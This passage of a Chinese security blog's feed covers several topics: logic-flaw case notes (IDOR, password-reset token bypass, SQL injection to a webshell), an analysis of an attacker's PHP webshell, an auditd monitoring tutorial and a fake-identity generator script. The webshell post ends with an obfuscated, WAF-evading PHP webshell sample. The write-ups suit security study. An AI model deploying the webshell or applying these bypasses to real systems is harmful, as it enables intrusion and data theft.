id=\"\u903b\u8f91\u6f0f\u6d1e\u547d\u540d\u89c4\u5f8b\u4fee\u6539\">[\u903b\u8f91\u6f0f\u6d1e]\u547d\u540d\u89c4\u5f8b\u4fee\u6539<\/h4>\n\n<p>\u4e00\u4e2a\u767b\u5f55\u7cfb\u7edf\uff0c\u8ddf\u8e2aJS\u6587\u4ef6\u53d1\u73b0\u4e86\u4e00\u4e9b\u767b\u5f55\u540e\u7684\u7cfb\u7edf\u63a5\u53e3\uff0c\u627e\u5230\u5176\u4e2d\u7684\u6ce8\u518c\u63a5\u53e3\u6210\u529f\u6ce8\u518c\u8d26\u6237\u8fdb\u5165\u4e2a\u4eba\u4e2d\u5fc3\uff0c\u7528\u6237\u7ba1\u7406\u5904\u6293\u5230\u5982\u4e0b\u8bf7\u6c42\uff1a<\/p>\n\n<pre><code class=\"language-http\">POST URL: https:\/\/xxx\/getRolesByUserId\nPOST Data: userId=1028\n<\/code><\/pre>\n\n<p>\u8fd4\u56de\u5982\u4e0b\u4fe1\u606f\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722726547968.jpg\" alt=\"-w1068\" \/><\/p>\n\n<p>\u53ef\u4ee5\u770b\u89c1\u8fd9\u91cc\u7684\u4fe1\u606f\u5e76\u4e0d\u654f\u611f\uff0c\u4f46\u6839\u636e\u6d4b\u8bd5\u53d1\u73b0userId\u53c2\u6570\u53ef\u4ee5\u8fdb\u884c\u8d8a\u6743\u904d\u5386<\/p>\n\n<p>\u6839\u636eurl\u5224\u65ad\u8fd9\u4e2a\u8bf7\u6c42\u7684\u610f\u601d\u662f\u6839\u636e\u7528\u6237id\u67e5\u770b\u7528\u6237\u7684\u8eab\u4efd\uff0curl\u4e2d\u7684\u9a7c\u5cf0\u65b9\u6cd5(<strong>getRolesByUserId<\/strong>)\u60ca\u9192\u4e86\u6211\uff0c\u6839\u636e\u547d\u540d\u89c4\u5219\u7ed3\u6784\u6211\u5c06\u5176\u4fee\u6539\u6210<strong>getUserByUserId<\/strong>\uff0c\u4e5f\u5c31\u662f\u6839\u636e\u7528\u6237id\u83b7\u53d6\u7528\u6237\uff0c\u4e5f\u5c31\u6210\u4e3a\u4e86\u5982\u4e0b\u8bf7\u6c42\u5305\u3002<\/p>\n\n<pre><code class=\"language-http\">POST URL: https:\/\/xxx\/getUserByUserId\nPOST Data: userId=1028\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2019-11-11\/15722727698302.jpg\" alt=\"-w708\" \/><\/p>\n\n<p>\u6210\u529f\u8fd4\u56de\u4e86\u654f\u611f\u4fe1\u606f\uff0c\u5e76\u901a\u8fc7\u4fee\u6539userId\u53ef\u4ee5\u8d8a\u6743\u83b7\u53d6\u5176\u4ed6\u7528\u6237\u7684\u4fe1\u606f\u3002<\/p>\n\n<h4 id=\"\u903b\u8f91\u6f0f\u6d1e\u654f\u611f\u7684\u55c5\u89c9\">[\u903b\u8f91\u6f0f\u6d1e]\u654f\u611f\u7684\u55c5\u89c9<\/h4>\n\n<p>\u5728\u6d4b\u4e00\u4e2a\u521a\u4e0a\u7ebf\u7684APP\u65f6\u83b7\u5f97\u8fd9\u6837\u4e00\u6761\u8bf7\u6c42\uff1a<\/p>\n\n<pre><code class=\"language-http\">POST \/mvc\/h5\/jd\/mJSFHttpGWP HTTP\/1.1\n\u2026\u2026\n\nparam={\"userPin\":\"$Uid$\",\"addressType\":0}\n<\/code><\/pre>\n\n<p>\u800c\u8fd9\u4e2a\u8bf7\u6c42\u8fd4\u56de\u7684\u4fe1\u606f\u8f83\u4e3a\u654f\u611f\uff0c\u8fd4\u56de\u4e86\u4e2a\u4eba\u7684\u4e00\u4e9b\u7269\u7406\u5730\u5740\u4fe1\u606f\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722729757171.jpg\" alt=\"-w545\" \/><\/p>\n\n<p>\u5728\u8fd9\u91cc<code>param\u53c2\u6570<\/code>\u662fjson\u683c\u5f0f\u7684\uff0c\u5176\u4e2d<code>\"userPin\":\"$Uid$\"<\/code>\u5f15\u8d77\u6211\u6ce8\u610f\uff0c\u654f\u611f\u7684\u76f4\u89c9\u544a\u8bc9\u6211\u8fd9\u91cc\u53ef\u4ee5\u8fdb\u884c\u4fee\u6539\uff0c\u5c1d\u8bd5\u5c06<code>$Uid$<\/code>\u4fee\u6539\u4e3a\u5176\u4ed6\u7528\u6237\u7684\u7528\u6237\u540d\u3001\u7528\u6237ID\uff0c\u6210\u529f\u8d8a\u6743\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722731124416.jpg\" alt=\"-w560\" \/><\/p>\n\n<h4 id=\"\u903b\u8f91\u6f0f\u6d1e\u719f\u80fd\u751f\u5de7\">[\u903b\u8f91\u6f0f\u6d1e]\u719f\u80fd\u751f\u5de7<\/h4>\n\n<p>\u6536\u5230\u4e00\u4e2a\u9879\u76ee\u9080\u8bf7\uff0c\u5168\u7bc7\u5c31\u4e00\u4e2a\u540e\u53f0\u7ba1\u7406\u7cfb\u7edf\u3002\u9488\u5bf9\u8fd9\u4e2a\u7cfb\u7edf\u505a\u4e86\u4e00\u4e9b\u5e38\u89c4\u7684\u6d4b\u8bd5\u4e4b\u540e\u9664\u4e86\u53d1\u73b0\u4e00\u4e9b \u6ca1\u7528\u7684\u5f31\u53e3\u4ee4\u5916(\u65e0\u6cd5\u767b\u5f55\u7cfb\u7edf\u7684)\u6ca1\u6709\u4e86\u5176\u4ed6\u6536\u83b7\u3002<\/p>\n\n<p>\u5206\u6790\u8fd9\u4e2a\u540e\u53f0\u7ba1\u7406\u7cfb\u7edf\u7684URL:<code>https:\/\/xxx\/?m=index<\/code>\uff0c\u8be5URL\u8bbf\u95ee\u89e3\u6790\u8fc7\u6765 \u7684\u662f\u4e3b\u2eda\u4fe1\u606f\u3002<\/p>\n\n<p>\u5c1d\u8bd5\u5bf9\u8bf7\u6c42\u53c2\u6570<code>m<\/code>\u7684\u503c\u8fdb\u884c<code>Fuzz<\/code>\uff0c7K+\u7684\u5b57\u5178\u8fdb\u884cFuzz\uff0c\u4e00\u6bb5\u65f6\u95f4\u4e4b\u540e\u6536\u83b7\u964d\u4e34\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722732301271.jpg\" alt=\"-w792\" \/><\/p>\n\n<p>\u83b7\u5f97\u4e86\u4e00\u4e2a\u6709\u7528\u7684\u8bf7\u6c42:<code>?m=view<\/code>\uff0c\u8be5\u8bf7\u6c42\u53ef\u4ee5\u76f4\u63a5\u672a\u6388\u6743\u83b7\u53d6\u4fe1\u606f\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722732785662.jpg\" alt=\"-w741\" \/><\/p>\n\n<h3 id=\"\u6848\u4f8b-delete\">\u6848\u4f8b-Delete<\/h3>\n\n<h4 id=\"\u903b\u8f91\u6f0f\u6d1etoken\u9650\u5236\u7ed5\u8fc7\">[\u903b\u8f91\u6f0f\u6d1e]Token\u9650\u5236\u7ed5\u8fc7<\/h4>\n\n<p>\u5728\u6d4b\u4e1a\u52a1\u7684\u5bc6\u7801\u91cd\u7f6e\u529f\u80fd\uff0c\u53d1\u9001\u5bc6\u7801\u91cd\u7f6e\u8bf7\u6c42\uff0c\u90ae\u7bb1\u6536\u5230\u4e00\u4e2a\u91cd\u7f6e\u5bc6\u7801\u7684\u94fe\u63a5\uff1a<code>http:\/\/xxx\/forget\/pwd?userid=123&amp;token=xxxx<\/code><\/p>\n\n<p>\u8fd9\u65f6\u5019\u5c1d\u8bd5\u5220\u9664token\u8bf7\u6c42\u53c2\u6570\uff0c\u518d\u8bbf\u95ee\u5e76\u6210\u529f\u91cd\u7f6e\u4e86\u7528\u6237\u7684\u5bc6\u7801\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722735366150.jpg\" alt=\"-w234\" \/><\/p>\n\n<h4 id=\"sqli\u8f85\u52a9\u53c2\u6570\u5220\u9664\u62a5\u9519\">[SQLi\u8f85\u52a9]\u53c2\u6570\u5220\u9664\u62a5\u9519<\/h4>\n\n<p>\u6316\u6398\u5230\u4e00\u5904\u6ce8\u5165\uff0c\u53d1\u73b0\u662froot\uff08DBA\uff09\u6743\u9650\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722736532748.jpg\" alt=\"-w457\" \/><\/p>\n\n<p>\u4f46\u8fd9\u65f6\u5019\uff0c\u627e\u4e0d\u5230\u7f51\u7ad9\u7edd\u5bf9\u8def\u5f84\uff0c\u5bfb\u627e\u7f51\u7ad9\u7528\u6237\u4ea4\u4e92\u7684\u8bf7\u6c42<code>http:\/\/xxx\/xxxsearch?name=123<\/code>\uff0c\u5220\u9664<code>name=123<\/code>\uff0c\u7f51\u7ad9\u62a5\u9519\u83b7\u53d6\u7edd\u5bf9\u8def\u5f84\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722737353104.jpg\" alt=\"-w460\" \/><\/p>\n\n<p>\u6210\u529f\u901a\u8fc7SQLi\u6f0f\u6d1e\u8fdb\u884cGetWebshell\u3002<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722737780009.jpg\" alt=\"-w265\" \/><\/p>\n\n<h2 id=\"\u603b\u7ed3\">\u603b\u7ed3<\/h2>\n\n<p>\u6838\u5fc3\u5176\u5b9e\u8fd8\u662f\u5728\u4e8e\u6f0f\u6d1e\u6316\u6398\u65f6\u7684\u5fc3\u7ec6\uff0c\u4e00\u4ef6\u4e8b\u60c5\u7406\u89e3\u900f\u5f7b\u4e4b\u540e\u4e07\u7269\u7686\u53efFuzz\u3002<\/p>\n\n<p>\u5e73\u65f6\u6ce8\u610f\u5b57\u5178\u7684\u66f4\u65b0\u3001\u6574\u7406\u548c\u5bf9\u5b9e\u9645\u60c5\u51b5\u7684\u5206\u6790\uff0c\u518d\u8fdb\u884c\u5173\u8054\u6574\u5408\u3002<\/p>\n","pubDate":"2019-11-11T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2019-11-11\/1","guid":"https:\/\/gh0st.cn\/archives\/2019-11-11\/1"},{"title":"\u5bf9\u67d0\u653b\u51fb\u961f\u7684Webshell\u8fdb\u884c\u5206\u6790","description":"<p>\u5bf9\u6211\u2f45\u5df2\u62ff\u4e0b\u7684\u653b\u51fb\u65b9\u2f81\u9e21\u8fdb\u2f8f\u2f47\u5fd7\u3001\u2f42\u4ef6\u7b49\u5206\u6790\uff0c\u53d1\u73b0\u2f24\u90e8\u5206\u8089\u9e21\u7684\u7f51\u7ad9\u6839\u76ee\u5f55\u90fd\u5b58\u5728 images.php\uff0c\u63d0\u53d6\u8be5\u6587\u4ef6\u7684\u5185\u5bb9\u5e76\u5206\u6790\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-08-21\/image020.png\" alt=\"img\" \/><\/p>\n\n<p>\u63d0\u51fa\u8f83\u4e3a\u91cd\u8981\u7684\u90a3\u4e00\u6bb5base64decode\u540e\u7684PHP\u4ee3\u7801\u8fdb\u884c\u5206\u6790\uff1a<\/p>\n\n<pre><code class=\"language-php\">@session_start();\/\/\u5f00\u542fsession\n\nif(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&amp;&amp;$_SESSION['theCode']=$_POST['code'];if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));\n<\/code><\/pre>\n\n<p><strong>\u4ee3\u7801\u903b\u8f91<\/strong>\uff1a\u5224\u65adPOST\u8bf7\u6c42\u53c2\u6570code\u662f\u5426\u6709\u503c\uff0c\u5f53\u6ee1\u8db3\u6761\u4ef6\u65f6\u5219\u6267\u884c<code>substr(sha1(md5($_POST['a'])),36)=='222f'&amp;&amp;$_SESSION['theCode']=$_POST['code']<\/code>\uff0c\u8fd9\u6bb5\u4ee3\u7801\u7684\u610f\u601d\u4e3a\u5c06POST\u8bf7\u6c42\u53c2\u6570a\u7684\u503c\u8fdb\u884cmd5\u52a0\u5bc6\u518d\u8fdb\u884csha1\u52a0\u5bc6\uff0c\u6700\u540e\u4ece\u52a0\u5bc6\u540e\u7684\u5b57\u7b26\u4e32\u7684\u7b2c36\u4f4d\u5f00\u59cb\u53d6\u503c\uff08sha1\u52a0\u5bc6\u540e\u7684\u503c\u4e3a40\u4f4d\uff0c\u8fd9\u91cc\u4e5f\u5c31\u662f\u53d6\u540e4\u4f4d\uff09\uff0c\u5f53\u540e\u56db\u4f4d\u7b49\u4e8e<code>222f<\/code>\u7684\u65f6\u5019\u6761\u4ef6\u4e3a\u771f\u5219\u6267\u884c<code>$_SESSION['theCode']=$_POST['code']<\/code>\uff08Why\uff1f<strong>&amp;&amp;\u662f\u903b\u8f91\u4e0e\u64cd\u4f5c\uff0c\u5982\u679c&amp;&amp;\u7684\u524d\u9762\u4e3afalse\u4e86\uff0c\u540e\u9762\u7684\u5c31\u4e0d\u4f1a\u6267\u884c\u4e86\uff0c\u6240\u4ee5\u5728\u8fd9\u91cc\u4e5f\u5c31\u95f4\u63a5\u7684\u5f62\u6210\u4e86\u4e00\u79cd\u5224\u65ad\u4ece\u800c\u5fc5\u987b\u6ee1\u8db3\u540e\u56db\u4f4d\u7b49\u4e8e222f\u7684\u6761\u4ef6<\/strong>\uff09\uff0c\u6700\u540e\u8fdb\u5165\u8be5\u4ee3\u7801\u6267\u884c\uff1a<code>if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));<\/code>\uff0c\u4ee3\u7801\u5982\u6b64\u7b80\u5355\u5c31\u4e0d\u518d\u91cd\u590d\u63cf\u8ff0\uff5e<\/p>\n\n<p>\u4e3a\u4e86\u6ee1\u8db3\u6761\u4ef6\uff08<code>substr(sha1(md5($_POST['a'])),36)=='222f'<\/code>\uff09\uff0c\u6211\u4eec\u53ef\u4ee5\u91c7\u7528\u9493\u9c7c\u7684\u65b9\u5f0f\u7b49\u653b\u51fb\u65b9\u4eba\u5458\u4e3b\u52a8\u4e0a\u94a9\uff08\u4fee\u6539<code>images.php<\/code>\u5373\u53ef\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-08-21\/image021.png\" alt=\"img\" \/><\/p>\n\n<p>\u5f53\u653b\u51fb\u65b9\u4eba\u5458\u4e3b\u52a8\u8fde\u63a5\u8be5Webshell\u65f6\u4f1a\u5c06POST\u8bf7\u6c42\u53c2\u6570a\u7684\u503c\u5199\u5165\u5230<code>pass.txt<\/code>\u4e2d\u3002<\/p>\n\n<p>\u4f46\u6b64\u65b9\u6cd5\u8f83\u4e3a\u88ab\u52a8\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u5728\u672c\u5730\u642d\u5efa\u4e00\u4e2a\u73af\u5883\u642d\u914dBurp\u53bb\u7206\u7834\u83b7\u53d6\u540e\u56db\u4f4d\u4e3a<code>222f<\/code>\u7684\u660e\u6587\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-08-21\/image022.png\" alt=\"img\" \/><\/p>\n\n<p><img src=\"\/images\/2019-08-21\/image023.png\" alt=\"img\" \/><\/p>\n\n<p>\u83b7\u5f97\u4e86\uff1a<code>abc123000<\/code>\u3001<code>lipeng520<\/code>\u3001<code>160376<\/code>\u8fd9\u4e09\u4e2a\u5bc6\u7801\uff0c\u53ef\u5229\u7528\u5bc6\u7801\u5bf9\u5176\u4ed6\u7684\u8089\u9e21\u518d\u6b21\u8fdb\u884c\u53cd\u6253\u3002<\/p>\n\n<p><strong>\u4ee3\u7801\u6837\u672c<\/strong>\uff1a\uff08\u6d4b\u8bd5\u53ef\u8fc7\u5b89\u5168\u72d7\uff09<\/p>\n\n<pre><code class=\"language-php\">&lt;?php\n\n$CF='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';\n\n$EB=@$CF('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');\n\n$EB('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7');\n\n?&gt;\n<\/code><\/pre>\n","pubDate":"2019-08-21T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2019-08-21\/1","guid":"https:\/\/gh0st.cn\/archives\/2019-08-21\/1"},{"title":"TRICK: Linux Auditd\u5ba1\u8ba1\u5de5\u5177","description":"<h2 id=\"\u80cc\u666f\">\u80cc\u666f<\/h2>\n\n<p>\u96be\u9898\uff1a\/home\/chen\/test\/\u76ee\u5f55\u4e0b\u7684index.html\u4e3a\u9996\u9875\u6587\u4ef6\uff0c\u4e00\u76f4\u88ab\u5165\u4fb5\u8005\u6076\u610f\u7be1\u6539<\/p>\n\n<p>\u9700\u6c42\uff1a\u60f3\u8981\u5b9a\u4f4d\u653b\u51fb\u65b9\u5f0f\u4ee5\u53ca\u7be1\u6539\u65b9\u5f0f<\/p>\n\n<p>\u547d\u4ee4\uff1a<code>auditctl<\/code> \uff08\u5b89\u88c5\uff1a<code>sudo apt install auditd<\/code>\uff09<\/p>\n\n<p>\u53c2\u6570\uff1a<\/p>\n\n<pre><code>-w \u76d1\u63a7\u6587\u4ef6\u8def\u5f84\n-p \u76d1\u63a7\u6587\u4ef6\u7b5b\u9009 r(\u8bfb) w(\u5199) x(\u6267\u884c) a(\u5c5e\u6027\u6539\u53d8)\n-k \u5173\u952e\u8bcd\uff08\u7528\u4e8e\u67e5\u8be2\u76d1\u63a7\u65e5\u5fd7\uff09\n<\/code><\/pre>\n\n<p>\u8fd0\u884c\uff1a<code>sudo auditctl -w \/home\/chen\/test\/index.html -p w -k index<\/code>\uff0c\u7b49\u5f85\u4e8c\u6b21\u7be1\u6539<\/p>\n\n<h2 id=\"\u8fc7\u7a0b\">\u8fc7\u7a0b<\/h2>\n\n<p>\u53d1\u73b0\u88ab\u7be1\u6539\u6267\u884c\uff1a<code>sudo ausearch -i -k index<\/code> \u67e5\u770b\u65e5\u5fd7<\/p>\n\n<pre><code>type=SYSCALL msg=audit(08\/20\/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=\/usr\/bin\/gedit key=index \n<\/code><\/pre>\n\n<p>\u4e86\u89e3\u8be5\u65e5\u5fd7\u7684\u683c\u5f0f\uff1a<\/p>\n\n<pre><code>syscall : \u76f8\u5173\u7684\u7cfb\u7edf\u8c03\u7528\nauid : \u5ba1\u8ba1\u7528\u6237ID\nuid \u548c gid : \u8bbf\u95ee\u6587\u4ef6\u7684\u7528\u6237ID\u548c\u7528\u6237\u7ec4ID\ncomm : \u7528\u6237\u8bbf\u95ee\u6587\u4ef6\u7684\u547d\u4ee4\nexe : \u4e0a\u9762\u547d\u4ee4\u7684\u53ef\u6267\u884c\u6587\u4ef6\u8def\u5f84\n<\/code><\/pre>\n\n<p>\u8fd9\u91cc\u7684<code>syscall<\/code>\u53ef\u4ee5\u7406\u89e3\u4e3a\u662f\u6267\u884c\u7684\u52a8\u4f5c\uff0c\u90a3\u4e48\u8fd9\u6bb5\u65e5\u5fd7\u5c31\u975e\u5e38\u5bb9\u6613\u7406\u89e3\u4e86\uff1a\u7528\u6237chen\u4f7f\u7528<strong>gedit<\/strong> rename\u4e86\u8be5\u6587\u4ef6\uff08\u91cd\u547d\u540d\uff09<\/p>\n\n<p>\u90a3\u4e48<code>syscall<\/code>\u662f\u4ec0\u4e48\u4ee3\u8868\u7740\u7f16\u8f91\u6587\u4ef6\u5185\u5bb9\u5462\uff1f\uff08\u7be1\u6539\uff09<\/p>\n\n<p>\u6d4b\u8bd5<code>gedit<\/code>\u6253\u5f00\u6587\u4ef6\u3001\u7f16\u8f91\u6587\u4ef6\u5185\u5bb9\u3001\u4fdd\u5b58\u6587\u4ef6\uff0c\u6709\u4e09\u6761\u65e5\u5fd7\uff1a<\/p>\n\n<pre><code>type=SYSCALL msg=audit(08\/20\/2019 02:22:10.897:506) : arch=x86_64 syscall=openat success=no exit=EEXIST(File exists) a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_EXCL a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=\/usr\/bin\/gedit key=index \ntype=SYSCALL msg=audit(08\/20\/2019 02:22:10.897:507) : arch=x86_64 syscall=openat success=yes exit=17 a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_NOFOLLOW a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=\/usr\/bin\/gedit key=index \ntype=SYSCALL msg=audit(08\/20\/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=\/usr\/bin\/gedit key=index \n<\/code><\/pre>\n\n<p>syscall\u5206\u522b\u4e3a\uff1a<code>openat<\/code>\u3001<code>openat<\/code>\u3001<code>rename<\/code>\uff0c\u4f46\u6ce8\u610f\u5230\u7b2c\u4e00\u4e2a<code>openat<\/code>\u7684\u65e5\u5fd7\u4e2d\u7684<code>success\u7b49\u4e8eno<\/code><\/p>\n\n<p>\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u53ef\u4ee5\u7406\u89e3\u65e5\u5fd7\u4e2d\u51fa\u73b0<code>syscall=openat<\/code>\u5373\u6709\u4eba\u5728\u4fee\u6539\u6587\u4ef6\uff0c\u90a3\u4e48\u67e5\u770b\u65e5\u5fd7\u7684\u547d\u4ee4\u5c31\u53ef\u4ee5\u53d8\u6210\uff1a<\/p>\n\n<p><code>sudo ausearch -i -k index | grep 'syscall=openat'<\/code><\/p>\n\n<p><strong>END<\/strong>\uff1a\u5b9a\u4f4d\u5230\u4e86\u7528\u6237\u3001\u8fdb\u7a0b\u5c31\u53ef\u4ee5\u7ee7\u7eed\u8ddf\u8e2a\u4e86\u3002<\/p>\n","pubDate":"2019-08-20T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2019-08-20\/1","guid":"https:\/\/gh0st.cn\/archives\/2019-08-20\/1"},{"title":"RGPerson - \u968f\u673a\u8eab\u4efd\u751f\u6210\u811a\u672c","description":"<h1 id=\"rgperson\">RGPerson<\/h1>\n\n<p>\u9879\u76ee\u5730\u5740\uff1a<a href=\"https:\/\/github.com\/gh0stkey\/RGPerson\">https:\/\/github.com\/gh0stkey\/RGPerson<\/a><\/p>\n\n<p>RGPerson - \u968f\u673a\u8eab\u4efd\u751f\u6210<\/p>\n\n<p>\u73af\u5883\uff1apython3<\/p>\n\n<p>\u4f7f\u7528\u65b9\u6cd5\uff1apython3 RGPerson.py<\/p>\n\n<p><img src=\"\/images\/2019-08-16\/0.png\" alt=\"rgperson\" \/><\/p>\n\n<h2 id=\"\u4e3a\u4ec0\u4e48\u9700\u8981ta\">\u4e3a\u4ec0\u4e48\u9700\u8981Ta<\/h2>\n\n<p>\u76f8\u4fe1\u5f88\u591a\u5e08\u5085\u4eec\u5728\u505a\u6d4b\u8bd5\u7684\u65f6\u5019\u7ecf\u5e38\u9047\u5230\u4e00\u4e9b\u6ce8\u518c\u7684\u4e1a\u52a1\u529f\u80fd\uff0c\u8981\u586b\u5199\u7684\u4e1c\u897f\u5f88\u591a\uff0c\u6211\u4e00\u822c\u90fd\u662f\u4e34\u65f6\u53bb\u767e\u5ea6\u7528\u7684\u4fe1\u606f\uff0c\u8fd9\u6837\u5f88\u7e41\u7410\u6240\u4ee5\u51b3\u5b9a\u9020\u8f6e\u5b50\u64b8\u4e86\u4e2a\u968f\u673a\u8eab\u4efd\u751f\u6210\u7684\u3002<\/p>\n\n<h2 id=\"\u4ecb\u7ecd\">\u4ecb\u7ecd<\/h2>\n\n<p>\u8be5\u811a\u672c\u751f\u6210\u4fe1\u606f\uff1a\u59d3\u540d\\\u5e74\u9f84\\\u6027\u522b\\\u8eab\u4efd\u8bc1\\\u624b\u673a\u53f7\\\u7ec4\u7ec7\u673a\u6784\u4ee3\u7801\\\u7edf\u4e00\u793e\u4f1a\u4fe1\u7528\u4ee3\u7801<\/p>\n\n<h2 id=\"\u811a\u672c\u7f16\u5199\u539f\u7406\">\u811a\u672c\u7f16\u5199\u539f\u7406<\/h2>\n\n<p><strong>\u811a\u672c\u7684\u51fd\u6570\uff1a<\/strong> genMobile()\u3001genIdCard()\u3001genName()\u3001genOrgCode()\u3001genCreditCode()<\/p>\n\n<p>genMobile() \u4e3a\u968f\u673a\u751f\u6210\u624b\u673a\u53f7\u7684\u51fd\u6570<\/p>\n\n<p>genName() \u4e3a\u968f\u673a\u751f\u6210\u59d3\u540d\u7684\u51fd\u6570<\/p>\n\n<p>genIdCard() \u4e3a\u968f\u673a\u751f\u6210\u8eab\u4efd\u8bc1\u7684\u51fd\u6570<\/p>\n\n<p>genOrgCode() \u4e3a\u968f\u673a\u751f\u6210\u7ec4\u7ec7\u673a\u6784\u4ee3\u7801\u7684\u51fd\u6570<\/p>\n\n<p>genCreditCode() \u4e3a\u968f\u673a\u751f\u6210\u7edf\u4e00\u793e\u4f1a\u4fe1\u7528\u4ee3\u7801\u7684\u51fd\u6570<\/p>\n\n<h3 id=\"genmobile\">genMobile()<\/h3>\n\n<p>\u968f\u673a\u751f\u6210\u624b\u673a\u53f7\uff1a\u9700\u8981\u77e5\u9053\u56fd\u5185\u624b\u673a\u53f7\u7684\u6784\u6210<\/p>\n\n<p>1.\u957f\u5ea6\u4e3a\u5341\u4e00\u4f4d<\/p>\n\n<p>2.\u524d\u4e09\u4f4d\u8868\u793a\u8fd0\u8425\u5546<\/p>\n\n<p>\u73b0\u5728\u6211\u4eec\u53ea\u9700\u8981\u505a\u5230\u6536\u96c6\u624b\u673a\u53f7\u53f7\u6bb5\u7684\u524d\u4e09\u4f4d\u4ee5\u53ca\u5bf9\u5e94\u7684\u8fd0\u8425\u5546\uff1a<\/p>\n\n<pre><code class=\"language-python\">prelist = {\"133\":\"\u7535\u4fe1\",\"149\":\"\u7535\u4fe1\",\"153\":\"\u7535\u4fe1\",\"173\":\"\u7535\u4fe1\",\"177\":\"\u7535\u4fe1\",\"180\":\"\u7535\u4fe1\",\"181\":\"\u7535\u4fe1\",\"189\":\"\u7535\u4fe1\",\"199\":\"\u7535\u4fe1\",\"130\":\"\u8054\u901a\",\"131\":\"\u8054\u901a\",\"132\":\"\u8054\u901a\",\"145\":\"\u8054\u901a\",\"155\":\"\u8054\u901a\",\"156\":\"\u8054\u901a\",\"166\":\"\u8054\u901a\",\"171\":\"\u8054\u901a\",\"175\":\"\u8054\u901a\",\"176\":\"\u8054\u901a\",\"185\":\"\u8054\u901a\",\"186\":\"\u8054\u901a\",\"166\":\"\u8054\u901a\",\"134\":\"\u79fb\u52a8\",\"135\":\"\u79fb\u52a8\",\"136\":\"\u79fb\u52a8\",\"137\":\"\u79fb\u52a8\",\"138\":\"\u79fb\u52a8\",\"139\":\"\u79fb\u52a8\",\"147\":\"\u79fb\u52a8\",\"150\":\"\u79fb\u52a8\",\"151\":\"\u79fb\u52a8\",\"152\":\"\u79fb\u52a8\",\"157\":\"\u79fb\u52a8\",\"158\":\"\u79fb\u52a8\",\"159\":\"\u79fb\u52a8\",\"172\":\"\u79fb\u52a8\",\"178\":\"\u79fb\u52a8\",\"182\":\"\u79fb\u52a8\",\"183\":\"\u79fb\u52a8\",\"184\":\"\u79fb\u52a8\",\"187\":\"\u79fb\u52a8\",\"188\":\"\u79fb\u52a8\",\"198\":\"\u79fb\u52a8\"}\n<\/code><\/pre>\n\n<p>\u83b7\u53d6\u8be5\u6570\u7ec4\u7684\u957f\u5ea6\uff1alen(prelist) -&gt; 42<\/p>\n\n<p>\u968f\u673a\u751f\u6210\u4e0b\u6807\u83b7\u53d6\u4e09\u4f4d\u6570\uff1a<code>prelist.keys()[random.randint(0,41)]<\/code><\/p>\n\n<p>\u7136\u540e\u518d\u968f\u673a\u586b\u8865\u540e8\u4f4d\u5373\u53ef\uff1a<\/p>\n\n<pre><code class=\"language-python\">def genMobile():\n    prelist = 